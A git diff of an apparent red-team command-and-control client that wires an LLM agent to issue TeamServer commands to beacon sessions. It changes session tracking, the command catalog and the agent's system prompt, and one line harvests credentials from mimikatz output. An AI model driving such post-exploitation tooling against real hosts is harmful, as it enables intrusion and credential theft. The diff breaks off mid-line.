.../C2Client/assistant_agent/tools/loader.py | 69 ------ .../tools/module_state_tool.py | 111 +++++++++ .../assistant_agent/tools/registry.py | 20 +- .../tools/schemas/assemblyExec.json | 51 ---- .../assistant_agent/tools/schemas/cat.json | 28 --- .../assistant_agent/tools/schemas/cd.json | 28 --- .../assistant_agent/tools/schemas/chisel.json | 47 ---- .../tools/schemas/cimExec.json | 53 ----- .../tools/schemas/coffLoader.json | 38 --- .../tools/schemas/dcomExec.json | 63 ----- .../tools/schemas/dotnetExec.json | 53 ----- .../tools/schemas/download.json | 33 --- .../tools/schemas/enumerateRdpSessions.json | 28 --- .../tools/schemas/enumerateShares.json | 28 --- .../tools/schemas/evasion.json | 49 ---- .../assistant_agent/tools/schemas/getEnv.json | 23 -- .../assistant_agent/tools/schemas/inject.json | 53 ----- .../tools/schemas/ipConfig.json | 23 -- .../tools/schemas/kerberosUseTicket.json | 28 --- .../tools/schemas/keyLogger.json | 33 --- .../tools/schemas/killProcess.json | 29 --- .../tools/schemas/listProcesses.json | 23 -- .../tools/schemas/loadModule.json | 28 --- .../assistant_agent/tools/schemas/ls.json | 28 --- .../tools/schemas/makeToken.json | 33 --- .../tools/schemas/miniDump.json | 37 --- .../assistant_agent/tools/schemas/mkDir.json | 28 --- .../tools/schemas/netstat.json | 23 -- .../tools/schemas/powershell.json | 43 ---- .../assistant_agent/tools/schemas/psExec.json | 53 ----- .../assistant_agent/tools/schemas/pwSh.json | 44 ---- .../assistant_agent/tools/schemas/pwd.json | 23 -- .../tools/schemas/registry.json | 77 ------ .../assistant_agent/tools/schemas/remove.json | 28 --- .../tools/schemas/rev2self.json | 23 -- .../tools/schemas/reversePortForward.json | 42 ---- .../assistant_agent/tools/schemas/run.json | 28 --- .../tools/schemas/screenShot.json | 28 --- .../assistant_agent/tools/schemas/script.json | 28 --- .../assistant_agent/tools/schemas/shell.json | 28 --- .../tools/schemas/spawnAs.json | 67 ------ .../tools/schemas/sshExec.json | 50 ---- .../tools/schemas/stealToken.json | 29 --- .../tools/schemas/taskScheduler.json | 63 ----- .../assistant_agent/tools/schemas/tree.json | 28 --- .../assistant_agent/tools/schemas/upload.json | 33 --- .../assistant_agent/tools/schemas/whoami.json | 23 -- .../assistant_agent/tools/schemas/winRm.json | 53 ----- .../tools/schemas/wmiExec.json | 58 ----- .../tools/session_state_tool.py | 104 ++++++++ C2Client/TODO.md | 6 +- C2Client/pyproject.toml | 3 +- C2Client/tests/assistant_agent/helpers.py | 48 ++++ .../assistant_agent/test_command_builder.py | 181 ++++++++------ .../assistant_agent/test_command_help_tool.py | 68 ++++++ .../assistant_agent/test_command_specs.py | 104 ++++++++ .../assistant_agent/test_command_tool.py | 41 +++- .../assistant_agent/test_domain_hooks.py | 88 +++++++ .../assistant_agent/test_module_state_tool.py | 45 ++++ .../assistant_agent/test_prompt_loading.py | 7 + .../assistant_agent/test_service_bootstrap.py | 25 +- .../test_session_state_tool.py | 53 +++++ .../tests/assistant_agent/test_tool_loader.py | 22 -- .../assistant_agent/test_tool_registry.py | 35 ++- C2Client/tests/test_assistant_panel.py | 4 + C2Client/tests/test_console_panel.py | 33 +++ core | 2 +- docs/testing/test-catalog.yaml | 6 +- protocol/TeamServerApi.proto | 1 + .../teamServer/TeamServerCommandCatalog.cpp | 1 + .../teamServer/TeamServerCommandCatalog.hpp | 1 + .../TeamServerCommandCatalogService.cpp | 1 + .../tests/TeamServerCommandCatalogTests.cpp | 5 + 84 files changed, 1447 insertions(+), 2001 deletions(-) create mode 100644 C2Client/C2Client/assistant_agent/tools/command_help_tool.py create mode 100644 C2Client/C2Client/assistant_agent/tools/command_specs.py delete mode 100644 C2Client/C2Client/assistant_agent/tools/loader.py create mode 100644 C2Client/C2Client/assistant_agent/tools/module_state_tool.py delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/assemblyExec.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/cat.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/cd.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/chisel.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/cimExec.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/dcomExec.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/download.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/enumerateRdpSessions.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/enumerateShares.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/evasion.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/getEnv.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/inject.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/ipConfig.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/keyLogger.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/killProcess.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/listProcesses.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/loadModule.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/ls.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/makeToken.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/miniDump.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/mkDir.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/netstat.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/powershell.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/psExec.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/pwd.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/registry.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/remove.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/rev2self.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/reversePortForward.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/run.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/script.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/shell.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/spawnAs.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/sshExec.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/stealToken.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/taskScheduler.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/tree.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/upload.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/whoami.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/winRm.json delete mode 100644 C2Client/C2Client/assistant_agent/tools/schemas/wmiExec.json create mode 100644 C2Client/C2Client/assistant_agent/tools/session_state_tool.py create mode 100644 C2Client/tests/assistant_agent/helpers.py create mode 100644 C2Client/tests/assistant_agent/test_command_help_tool.py create mode 100644 C2Client/tests/assistant_agent/test_command_specs.py create mode 100644 C2Client/tests/assistant_agent/test_module_state_tool.py create mode 100644 C2Client/tests/assistant_agent/test_session_state_tool.py delete mode 100644 C2Client/tests/assistant_agent/test_tool_loader.py diff --git a/C2Client/.env.example b/C2Client/.env.example index 0c6aa1a..f456df8 100644 --- a/C2Client/.env.example +++ b/C2Client/.env.example @@ -41,6 +41,8 @@ C2_ASSISTANT_MEMORY_MODEL=gpt-4.1-mini C2_ASSISTANT_TEMPERATURE=0.05 C2_ASSISTANT_MEMORY_TEMPERATURE=0.05 C2_ASSISTANT_MAX_TOOL_CALLS=10 +C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS=64000 +C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS=false C2_ASSISTANT_PENDING_TIMEOUT_MS=120000 # Local modules diff --git a/C2Client/C2Client/AssistantPanel.py b/C2Client/C2Client/AssistantPanel.py index 4f991e8..83e142f 100644 --- a/C2Client/C2Client/AssistantPanel.py +++ b/C2Client/C2Client/AssistantPanel.py @@ -111,8 +111,16 @@ def sessionAssistantMethod(self, action, beaconHash, listenerHash, hostname, use arch=arch, privilege=privilege, os_name=os, + killed=killed, ) return + + + def setActiveSession(self, beaconHash, listenerHash): + self.agent.domain_hooks.record_active_session( + beacon_hash=beaconHash, + listener_hash=listenerHash, + ) def listenerAssistantMethod(self, action, hash, str3, str4): @@ -120,9 +128,21 @@ def listenerAssistantMethod(self, action, hash, str3, str4): def consoleAssistantMethod(self, action, beaconHash, listenerHash, context, cmd, result, commandId=""): + if action == "send": + self.agent.domain_hooks.record_active_session( + beacon_hash=beaconHash, + listener_hash=listenerHash, + ) + return + if action != "receive": return + self.agent.domain_hooks.record_active_session( + beacon_hash=beaconHash, + listener_hash=listenerHash, + ) + command_text = cmd or "" if isinstance(command_text, bytes): command_text = command_text.decode("latin1", errors="ignore") diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index d11337e..4d5e331 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -907,7 +907,12 @@ def updateConsolePolling(self, currentIndex): for index in range(self.tabs.count()): console = self.consoleFromTab(index) if console is not None: - console.setResponsePollingActive(index == currentIndex) + if hasattr(console, "setConsoleActive"): + console.setConsoleActive(index == currentIndex) + else: + console.setResponsePollingActive(index == currentIndex) + if index == currentIndex and hasattr(self.assistant, "setActiveSession"): + self.assistant.setActiveSession(console.beaconHash, console.listenerHash) def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=False @@ -924,6 +929,8 @@ def addConsole(self, beaconHash, listenerHash, hostname, username): tab = self.createConsolePage(console) self.tabs.addTab(tab, beaconHash[0:8]) self.tabs.setCurrentIndex(self.tabs.count()-1) + if hasattr(self.assistant, "setActiveSession"): + self.assistant.setActiveSession(beaconHash, listenerHash) def closeTab(self, currentIndex): currentQWidget = self.tabs.widget(currentIndex) @@ -1017,15 +1024,17 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern ) self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) - self.responsePollingActive = True + self.consoleActive = True - # Thread to get sessions response + # Thread to get session responses. Response collection must stay + # independent from the visible tab because the assistant resumes + # pending tool calls from these events while the Data AI tab is focused. # https://realpython.com/python-pyqt-qthread/ self.thread = QThread() - self.getSessionResponse = GetSessionResponse() + self.getSessionResponse = GetSessionResponse(self.grpcClient, self.beaconHash, self.listenerHash) self.getSessionResponse.moveToThread(self.thread) self.thread.started.connect(self.getSessionResponse.run) - self.getSessionResponse.checkin.connect(self.displayResponse) + self.getSessionResponse.responseReady.connect(self.displayResponse) self.thread.start() def __del__(self): @@ -1052,7 +1061,10 @@ def setConsoleNotice(self, message, is_error=False): self.consoleNoticeLabel.setStyleSheet(f"color: {color};") def setResponsePollingActive(self, active): - self.responsePollingActive = bool(active) + self.setConsoleActive(active) + + def setConsoleActive(self, active): + self.consoleActive = bool(active) def findNextSearchMatch(self, backward=False): search_text = self.searchInput.text().strip() @@ -1365,45 +1377,47 @@ def executeCommand(self, commandLine): self.setCursorEditorAtEnd() - def displayResponse(self): - if not self.responsePollingActive: - return + def displayResponse(self, response=None): session = TeamServerApi_pb2.SessionSelector(beacon_hash=self.beaconHash, listener_hash=self.listenerHash) - responses = self.grpcClient.streamSessionCommandResults(session) - for response in responses: - context = "Host " + self.hostname + " - Username " + self.username - command_id = getattr(response, "command_id", "") - if command_id and command_id in self.renderedResponseIds: - continue - listener_hash = response.session.listener_hash or self.listenerHash - command_text = response.command or response.instruction - decoded_response = response.output.decode('utf-8', 'replace') - response_ok = is_response_ok(response) - if not response_ok: - decoded_response = response_message(response) or decoded_response or "Command failed." - self.consoleScriptSignal.emit("receive", self.beaconHash, listener_hash, context, command_text, decoded_response, command_id) - # check the response for mimikatz and not the cmd line ??? - if "-e mimikatz.exe" in command_text: - credentials.handleMimikatzCredentials(decoded_response, self.grpcClient, TeamServerApi_pb2) - status = "done" if response_ok else "error" - self.setCommandStatus(command_id, status, command_text, decoded_response if not response_ok else "") - self.printCommandStatusInTerminal(command_id, status, command_text) - self.printInTerminal("", "", decoded_response) - if command_id: - self.renderedResponseIds.add(command_id) - self.appendConsoleEvent( - status, - command_id=command_id, - command=command_text, - output=decoded_response, - source="response", - ) - self.setCursorEditorAtEnd() + if response is None: + responses = self.grpcClient.streamSessionCommandResults(session) + for session_response in responses: + self.displayResponse(session_response) + return - with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: - logFile.write('[+] result: \"' + command_text + '\"') - logFile.write('\n' + decoded_response + '\n') - logFile.write('\n') + context = "Host " + self.hostname + " - Username " + self.username + command_id = getattr(response, "command_id", "") + if command_id and command_id in self.renderedResponseIds: + return + listener_hash = response.session.listener_hash or self.listenerHash + command_text = response.command or response.instruction + decoded_response = response.output.decode('utf-8', 'replace') + response_ok = is_response_ok(response) + if not response_ok: + decoded_response = response_message(response) or decoded_response or "Command failed." + self.consoleScriptSignal.emit("receive", self.beaconHash, listener_hash, context, command_text, decoded_response, command_id) + # check the response for mimikatz and not the cmd line ??? + if "-e mimikatz.exe" in command_text: + credentials.handleMimikatzCredentials(decoded_response, self.grpcClient, TeamServerApi_pb2) + status = "done" if response_ok else "error" + self.setCommandStatus(command_id, status, command_text, decoded_response if not response_ok else "") + self.printCommandStatusInTerminal(command_id, status, command_text) + self.printInTerminal("", "", decoded_response) + if command_id: + self.renderedResponseIds.add(command_id) + self.appendConsoleEvent( + status, + command_id=command_id, + command=command_text, + output=decoded_response, + source="response", + ) + self.setCursorEditorAtEnd() + + with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: + logFile.write('[+] result: \"' + command_text + '\"') + logFile.write('\n' + decoded_response + '\n') + logFile.write('\n') def setCursorEditorAtEnd(self, force=False): if not force and self.isAutoscrollPaused(): @@ -1412,17 +1426,30 @@ def setCursorEditorAtEnd(self, force=False): class GetSessionResponse(QObject): - """Background worker querying session responses.""" + """Background worker collecting session responses off the UI thread.""" - checkin = pyqtSignal() + responseReady = pyqtSignal(object) - def __init__(self) -> None: + def __init__(self, grpcClient, beaconHash, listenerHash) -> None: super().__init__() + self.grpcClient = grpcClient + self.beaconHash = beaconHash + self.listenerHash = listenerHash self.exit = False def run(self) -> None: while not self.exit: - self.checkin.emit() + session = TeamServerApi_pb2.SessionSelector( + beacon_hash=self.beaconHash, + listener_hash=self.listenerHash, + ) + try: + for response in self.grpcClient.streamSessionCommandResults(session): + if self.exit: + break + self.responseReady.emit(response) + except Exception as exc: + logger.debug("Session response polling failed for %s: %s", self.beaconHash[:8], exc) time.sleep(1) def quit(self) -> None: diff --git a/C2Client/C2Client/assistant_agent/domain/hooks.py b/C2Client/C2Client/assistant_agent/domain/hooks.py index 2ea7450..4a61498 100644 --- a/C2Client/C2Client/assistant_agent/domain/hooks.py +++ b/C2Client/C2Client/assistant_agent/domain/hooks.py @@ -8,6 +8,7 @@ class C2DomainHooks(DomainHooks): def __init__(self) -> None: self.sessions: dict[str, dict[str, Any]] = {} + self.active_session_key: str | None = None self.recent_observations: list[dict[str, str]] = [] def record_session_event( @@ -21,19 +22,62 @@ def record_session_event( arch: str, privilege: str, os_name: str, + killed: Any = False, ) -> None: - if action == "start": - self.sessions[beacon_hash] = { + if not beacon_hash: + return + + killed = self._is_truthy(killed) + key = self._session_key(beacon_hash, listener_hash) + if action == "stop" or killed: + session = self.sessions.get(key, {}) + session.update({ "beacon_hash": beacon_hash, "listener_hash": listener_hash, - "hostname": hostname, - "username": username, - "arch": arch, - "privilege": privilege, - "os": os_name, + "hostname": hostname or session.get("hostname", ""), + "username": username or session.get("username", ""), + "arch": arch or session.get("arch", ""), + "privilege": privilege or session.get("privilege", ""), + "os": os_name or session.get("os", ""), + "killed": True, + }) + self.sessions[key] = session + if self.active_session_key == key: + self.active_session_key = None + return + + session = self.sessions.get(key, {}) + session.update({ + "beacon_hash": beacon_hash, + "listener_hash": listener_hash, + "hostname": hostname or session.get("hostname", ""), + "username": username or session.get("username", ""), + "arch": arch or session.get("arch", ""), + "privilege": privilege or session.get("privilege", ""), + "os": os_name or session.get("os", ""), + "killed": False, + }) + self.sessions[key] = session + + def record_active_session(self, *, beacon_hash: str, listener_hash: str) -> None: + if not beacon_hash: + return + key = self._session_key(beacon_hash, listener_hash) + session = self.sessions.get(key) + if session and session.get("killed"): + return + if session is None: + self.sessions[key] = { + "beacon_hash": beacon_hash, + "listener_hash": listener_hash, + "hostname": "", + "username": "", + "arch": "", + "privilege": "", + "os": "", + "killed": False, } - elif action == "stop": - self.sessions.pop(beacon_hash, None) + self.active_session_key = key def record_console_observation( self, @@ -57,15 +101,39 @@ def record_console_observation( def build_system_prompt_blocks(self, *, settings, session_manager) -> list[str]: lines = ["C2 runtime context:"] - if self.sessions: - lines.append("Known sessions:") - for session in self.sessions.values(): + live_sessions = [session for session in self.sessions.values() if not session.get("killed")] + killed_sessions = [session for session in self.sessions.values() if session.get("killed")] + active_session = self._effective_active_session(live_sessions) + if active_session and not active_session.get("killed"): + lines.append( + "Active selected session: short_beacon={short_beacon}, beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, " + "user={username}, arch={arch}, privilege={privilege}, os={os}. Use this session for current beacon/current session requests.".format( + **self._format_session(active_session) + ) + ) + else: + lines.append( + "Active selected session: none. If exactly one live session is listed, use it for current beacon/current session requests; otherwise ask the operator to select a live session." + ) + + if live_sessions: + lines.append("Known live sessions. Match short operator references like `mz` against beacon_hash prefixes:") + for session in live_sessions: lines.append( - "- beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, " - "user={username}, arch={arch}, privilege={privilege}, os={os}".format(**session) + "- short_beacon={short_beacon}, beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, " + "user={username}, arch={arch}, privilege={privilege}, os={os}".format(**self._format_session(session)) ) else: - lines.append("Known sessions: none. Ask the operator to select or provide a session before using C2 tools.") + lines.append("Known live sessions: none.") + + if killed_sessions: + lines.append("Killed sessions are invalid targets:") + for session in killed_sessions[-5:]: + lines.append( + "- short_beacon={short_beacon}, beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, user={username}".format( + **self._format_session(session) + ) + ) if self.recent_observations: lines.append("Recent console observations:") @@ -76,3 +144,35 @@ def build_system_prompt_blocks(self, *, settings, session_manager) -> list[str]: ) ) return ["\n".join(lines)] + + def _effective_active_session(self, live_sessions: list[dict[str, Any]]) -> dict[str, Any] | None: + active_session = self.sessions.get(self.active_session_key or "") + if active_session and not active_session.get("killed"): + return active_session + + live_by_key = { + self._session_key(session.get("beacon_hash", ""), session.get("listener_hash", "")): session + for session in live_sessions + } + for observation in reversed(self.recent_observations): + key = self._session_key(observation.get("beacon_hash", ""), observation.get("listener_hash", "")) + session = live_by_key.get(key) + if session is not None: + return session + + if len(live_sessions) == 1: + return live_sessions[0] + return None + + def _format_session(self, session: dict[str, Any]) -> dict[str, Any]: + formatted = dict(session) + formatted["short_beacon"] = str(formatted.get("beacon_hash", ""))[:8] + return formatted + + def _session_key(self, beacon_hash: str, listener_hash: str) -> str: + return f"{beacon_hash}:{listener_hash}" + + def _is_truthy(self, value: Any) -> bool: + if isinstance(value, str): + return value.strip().lower() in {"1", "true", "yes", "y", "killed", "dead", "stop", "stopped"} + return bool(value) diff --git a/C2Client/C2Client/assistant_agent/domain/settings.py b/C2Client/C2Client/assistant_agent/domain/settings.py index 0e70ae4..4f0f9d4 100644 --- a/C2Client/C2Client/assistant_agent/domain/settings.py +++ b/C2Client/C2Client/assistant_agent/domain/settings.py @@ -33,6 +33,8 @@ def build_c2_agent_settings(*, storage_dir: Path | None = None) -> CoreSettings: temperature=float(os.getenv("C2_ASSISTANT_TEMPERATURE", "0.05")), memory_temperature=float(os.getenv("C2_ASSISTANT_MEMORY_TEMPERATURE", "0.0")), max_tool_calls_per_turn=int(os.getenv("C2_ASSISTANT_MAX_TOOL_CALLS", "10")), + max_active_context_tokens=int(os.getenv("C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS", "64000")), + log_synthesis_payloads=os.getenv("C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS", "").lower() in {"1", "true", "yes", "y"}, session_file=storage_dir / "session.json", reports_directory=storage_dir / "reports", prompts_dir=prompt_root, diff --git a/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md b/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md index 6ac93ec..93363de 100644 --- a/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md +++ b/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md @@ -25,6 +25,12 @@ OPERATIONAL MODEL TOOL USAGE CONSTRAINTS ---------------------------------------- - Always use the most specific and purpose-built tool available. +- Available C2 command tools are generated from the TeamServer CommandSpecs catalog. Treat tool names, descriptions, arguments, artifact requirements, platforms, and examples as the authoritative command source. +- Use `getCommandHelp` when exact TeamServer help is needed before choosing or explaining a command. +- `getCommandHelp` is the only C2 tool where session hashes are optional. Use it for help requests instead of answering from memory. +- Use `listLiveSessions` when the active session is unclear, when the operator references a short beacon prefix, or when a command is rejected as targeting an unavailable session. +- For tools described as `kind=module`, first call `listLoadedModules` for the target session unless recent context already proves the module is loaded. If the module is missing, load it with `loadModule ` before retrying the module command. +- When the operator says current session/current beacon, use the Active selected session from runtime context. If no active session is shown but there is exactly one live session, use that live session. Do not target killed sessions. - Only use generic execution or raw module argument tools if no specialized tool exists. - Treat each available module as a local release-side module; do not invent remote capabilities. - Every tool call MUST include: diff --git a/C2Client/C2Client/assistant_agent/tools/__init__.py b/C2Client/C2Client/assistant_agent/tools/__init__.py index 1518902..ff97a32 100644 --- a/C2Client/C2Client/assistant_agent/tools/__init__.py +++ b/C2Client/C2Client/assistant_agent/tools/__init__.py @@ -1,12 +1,19 @@ from .command_builder import build_command_line +from .command_help_tool import C2CommandHelpTool +from .command_specs import C2CommandSpecToolSpec, command_spec_to_tool_spec, load_command_tool_specs from .command_tool import C2CommandTool -from .loader import C2ToolSpec, load_tool_specs +from .module_state_tool import C2LoadedModulesTool +from .session_state_tool import C2LiveSessionsTool from .registry import build_c2_tool_registry __all__ = [ "C2CommandTool", - "C2ToolSpec", + "C2CommandHelpTool", + "C2CommandSpecToolSpec", + "C2LiveSessionsTool", + "C2LoadedModulesTool", "build_c2_tool_registry", "build_command_line", - "load_tool_specs", + "command_spec_to_tool_spec", + "load_command_tool_specs", ] diff --git a/C2Client/C2Client/assistant_agent/tools/command_builder.py b/C2Client/C2Client/assistant_agent/tools/command_builder.py index deca6b1..795b792 100644 --- a/C2Client/C2Client/assistant_agent/tools/command_builder.py +++ b/C2Client/C2Client/assistant_agent/tools/command_builder.py @@ -3,7 +3,7 @@ import re from typing import Any -from .loader import C2ToolSpec +from .command_specs import C2CommandSpecToolSpec _OPTIONAL_SEGMENT_RE = re.compile(r"\[(?P[^\[\]]+)\]") _PLACEHOLDER_RE = re.compile(r"\{(?P[A-Za-z_][A-Za-z0-9_]*)(?::(?Praw|q|flag))?(?P\?)?\}") @@ -15,23 +15,28 @@ class _OmitOptionalSegment(Exception): def quote_argument(value: object) -> str: if value is None: - return '""' + return "''" text = str(value) if not text: - return '""' + return "''" - if text.startswith('"') and text.endswith('"') and len(text) >= 2: + if ( + (text.startswith("'") and text.endswith("'")) + or (text.startswith('"') and text.endswith('"')) + ) and len(text) >= 2: return text if any(ch.isspace() for ch in text) or '"' in text: + if "'" not in text: + return f"'{text}'" escaped = text.replace('"', '\\"') return f'"{escaped}"' return text -def build_command_line(spec: C2ToolSpec, arguments: dict[str, Any]) -> str: +def build_command_line(spec: C2CommandSpecToolSpec, arguments: dict[str, Any]) -> str: _validate_required_arguments(spec, arguments) def render_optional_segment(match: re.Match[str]) -> str: @@ -85,7 +90,7 @@ def replace(match: re.Match[str]) -> str: return _PLACEHOLDER_RE.sub(replace, template) -def _validate_required_arguments(spec: C2ToolSpec, arguments: dict[str, Any]) -> None: +def _validate_required_arguments(spec: C2CommandSpecToolSpec, arguments: dict[str, Any]) -> None: required = spec.parameters.get("required", []) if not isinstance(required, list): return diff --git a/C2Client/C2Client/assistant_agent/tools/command_help_tool.py b/C2Client/C2Client/assistant_agent/tools/command_help_tool.py new file mode 100644 index 0000000..a7b9846 --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/command_help_tool.py @@ -0,0 +1,68 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any + +from agent_core.execution_context import ExecutionContext +from agent_core.llm.base import LLMToolDefinition +from agent_core.tools import build_tool_definition +from agent_core.types import ToolResult + +from ...grpcClient import TeamServerApi_pb2 + + +@dataclass(slots=True) +class C2CommandHelpTool: + grpc_client: Any + + name = "getCommandHelp" + description = "Fetch exact command help from the TeamServer CommandSpec catalog. Pass a bare command name such as sleep or assemblyExec." + + def schema(self) -> LLMToolDefinition: + return build_tool_definition( + name=self.name, + description=self.description, + parameters={ + "type": "object", + "properties": { + "beacon_hash": { + "type": "string", + "description": "Optional full beacon hash for platform-aware help.", + }, + "listener_hash": { + "type": "string", + "description": "Optional full listener hash for platform-aware help.", + }, + "command": { + "type": "string", + "description": "Command name to document.", + }, + }, + "required": ["command"], + "additionalProperties": False, + }, + ) + + def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: + command = _help_command(arguments["command"]) + request = TeamServerApi_pb2.CommandHelpRequest( + session=TeamServerApi_pb2.SessionSelector( + beacon_hash=arguments.get("beacon_hash", ""), + listener_hash=arguments.get("listener_hash", ""), + ), + command=command, + ) + response = self.grpc_client.getCommandHelp(request) + if getattr(response, "status", TeamServerApi_pb2.OK) != TeamServerApi_pb2.OK: + message = getattr(response, "message", "") or "Command help was rejected by TeamServer." + return ToolResult(ok=False, content=message) + return ToolResult(ok=True, content=getattr(response, "help", "") or getattr(response, "message", "")) + + +def _help_command(command: str) -> str: + command = str(command or "").strip() + if not command: + return "help" + if command.lower() == "help" or command.lower().startswith("help "): + return command + return f"help {command}" diff --git a/C2Client/C2Client/assistant_agent/tools/command_specs.py b/C2Client/C2Client/assistant_agent/tools/command_specs.py new file mode 100644 index 0000000..38d8845 --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/command_specs.py @@ -0,0 +1,225 @@ +from __future__ import annotations + +import logging +import re +from dataclasses import dataclass +from typing import Any + +from ...grpcClient import TeamServerApi_pb2 + +logger = logging.getLogger(__name__) + +_PLACEHOLDER_RE = re.compile( + r"\{(?P[A-Za-z_][A-Za-z0-9_]*)(?::(?Praw|q|flag))?(?P\?)?\}" +) +_OPTIONAL_SEGMENT_RE = re.compile(r"\[(?P[^\[\]]+)\]") +_NON_IDENTIFIER_RE = re.compile(r"[^A-Za-z0-9_]+") +_SESSION_PROPERTIES = { + "beacon_hash": { + "type": "string", + "description": "Full beacon hash for the target session.", + }, + "listener_hash": { + "type": "string", + "description": "Full listener hash for the target session.", + }, +} + + +@dataclass(frozen=True, slots=True) +class C2CommandSpecToolSpec: + name: str + description: str + command_template: str + parameters: dict[str, Any] + command_spec: Any + + +def load_command_tool_specs(grpc_client: Any) -> list[C2CommandSpecToolSpec]: + """Load assistant tools from the TeamServer CommandSpec catalog.""" + + if grpc_client is None or not hasattr(grpc_client, "listCommands"): + return [] + + try: + commands = list(grpc_client.listCommands(TeamServerApi_pb2.CommandQuery())) + except Exception as exc: + logger.error("Unable to load assistant CommandSpecs from TeamServer: %s", exc) + return [] + + names = [str(getattr(command, "name", "") or "").strip() for command in commands] + duplicates = sorted({name for name in names if name and names.count(name) > 1}) + if duplicates: + raise ValueError(f"Duplicate TeamServer CommandSpec names: {', '.join(duplicates)}") + + return [ + command_spec_to_tool_spec(command) + for command in sorted(commands, key=lambda item: str(getattr(item, "name", "") or "")) + if str(getattr(command, "name", "") or "").strip() + ] + + +def command_spec_to_tool_spec(command: Any) -> C2CommandSpecToolSpec: + name = _required_text(command, "name") + command_template = _required_text(command, "command_template") + return C2CommandSpecToolSpec( + name=name, + description=_tool_description(command, command_template), + command_template=command_template, + parameters=_tool_parameters(command, command_template), + command_spec=command, + ) + + +def command_arg_property_name(arg: Any) -> str: + name = str(getattr(arg, "name", "") or "").strip() + name = name.lstrip("-") + name = name.replace("-", "_") + name = _NON_IDENTIFIER_RE.sub("_", name).strip("_") + if not name: + name = "value" + if name[0].isdigit(): + name = f"arg_{name}" + return name + + +def _required_text(command: Any, field_name: str) -> str: + value = str(getattr(command, field_name, "") or "").strip() + if not value: + command_name = str(getattr(command, "name", "") or "") + raise ValueError(f"CommandSpec `{command_name}` must define `{field_name}`") + return value + + +def _tool_description(command: Any, command_template: str) -> str: + lines = [str(getattr(command, "description", "") or "").strip()] + details = [] + kind = str(getattr(command, "kind", "") or "").strip() + target = str(getattr(command, "target", "") or "").strip() + platforms = _joined(getattr(command, "platforms", [])) + archs = _joined(getattr(command, "archs", [])) + if kind: + details.append(f"kind={kind}") + if target: + details.append(f"target={target}") + if platforms: + details.append(f"platforms={platforms}") + if archs: + details.append(f"archs={archs}") + if details: + lines.append("; ".join(details)) + if kind.lower() == "module": + lines.append("Module command: call listLoadedModules first; load it with loadModule unless recent context confirms it is already loaded.") + lines.append(f"Template: {command_template}") + examples = [str(example).strip() for example in 